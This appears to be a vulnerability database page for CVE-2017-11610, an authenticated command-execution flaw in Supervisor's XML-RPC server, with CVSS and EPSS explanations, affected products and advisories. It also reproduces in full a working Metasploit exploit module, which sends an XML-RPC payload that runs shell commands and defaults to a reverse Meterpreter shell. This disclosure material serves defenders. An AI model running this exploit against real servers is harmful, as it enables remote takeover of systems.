CVE-2017-11610 : Detail

CVE-2017-11610

8.8
/
High
A01-Broken Access Control
97.46%V3
Network
2017-08-23
12h00 +00:00
2017-12-01
20h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-276 Incorrect Default Permissions
During installation, installed file permissions are set to allow anyone to modify those files.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42779

Publication date : 2017-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability in the Supervisor process control software, where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Calum Hutton <[email protected]>' ], 'References' => [ ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], ['URL', 'https://www.debian.org/security/2017/dsa-3942'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'], ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'], ['CVE', '2017-11610'] ], 'Platform' => 'linux', 'Targets' => [ ['3.0a1-3.3.2', {}] ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'RPORT' => 9001, 'Payload' => 'linux/x64/meterpreter/reverse_tcp', }, 'Privileged' => false, 'DisclosureDate' => 'Jul 19 2017', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(9001), OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), ] ) end def check_version(version) if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1') return true else return false end end def check print_status('Extracting version from web interface..') params = { 'method' => 'GET', 'uri' => normalize_uri('/') } if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end res = send_request_cgi(params) if res if res.code == 200 match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/) if match version = Gem::Version.new(match[1]) if check_version(version) print_good("Vulnerable version found: #{version}") return Exploit::CheckCode::Appears else print_bad("Version #{version} is not vulnerable") return Exploit::CheckCode::Safe end else print_bad('Could not extract version number from web interface') return Exploit::CheckCode::Unknown end elsif res.code == 401 print_bad("Authentication failed: #{res.code} response") return Exploit::CheckCode::Safe else print_bad("Unexpected HTTP code: #{res.code} response") return Exploit::CheckCode::Unknown end else print_bad('Error connecting to web interface') return Exploit::CheckCode::Unknown end end def execute_command(cmd, opts = {}) # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server # Credit to the following urls for the os.system() payload # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610 # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html xml_payload = %{<?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string> </param> </params> </methodCall>} # Send the XML-RPC payload via POST to the specified endpoint endpoint_path = target_uri.path print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}") params = { 'method' => 'POST', 'uri' => normalize_uri(endpoint_path), 'ctype' => 'text/xml', 'headers' => {'Accept' => 'text/xml'}, 'data' => xml_payload, 'encode_params' => false } if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end return send_request_cgi(params, timeout=5) end def exploit res = execute_cmdstager(:linemax => 800) if res if res.code == 401 fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") elsif res.code == 404 fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response") else fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") end else print_good('Request returned without status code, usually indicates success. Passing to handler..') handler end end end

Products Mentioned

Configuraton 0

Supervisord>>Supervisor >> Version To (including) 3.0

Supervisord>>Supervisor >> Version 3.1.0

Supervisord>>Supervisor >> Version 3.1.1

Supervisord>>Supervisor >> Version 3.1.2

Supervisord>>Supervisor >> Version 3.1.3

Supervisord>>Supervisor >> Version 3.2.0

Supervisord>>Supervisor >> Version 3.2.1

Supervisord>>Supervisor >> Version 3.2.2

Supervisord>>Supervisor >> Version 3.2.3

Supervisord>>Supervisor >> Version 3.3.0

Supervisord>>Supervisor >> Version 3.3.1

Supervisord>>Supervisor >> Version 3.3.2

Configuraton 0

Fedoraproject>>Fedora >> Version 24

Fedoraproject>>Fedora >> Version 25

Fedoraproject>>Fedora >> Version 26

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Cloudforms >> Version 4.5

References

https://access.redhat.com/errata/RHSA-2017:3005
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3942
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/42779/
Tags : exploit, x_refsource_EXPLOIT-DB
https://security.gentoo.org/glsa/201709-06
Tags : vendor-advisory, x_refsource_GENTOO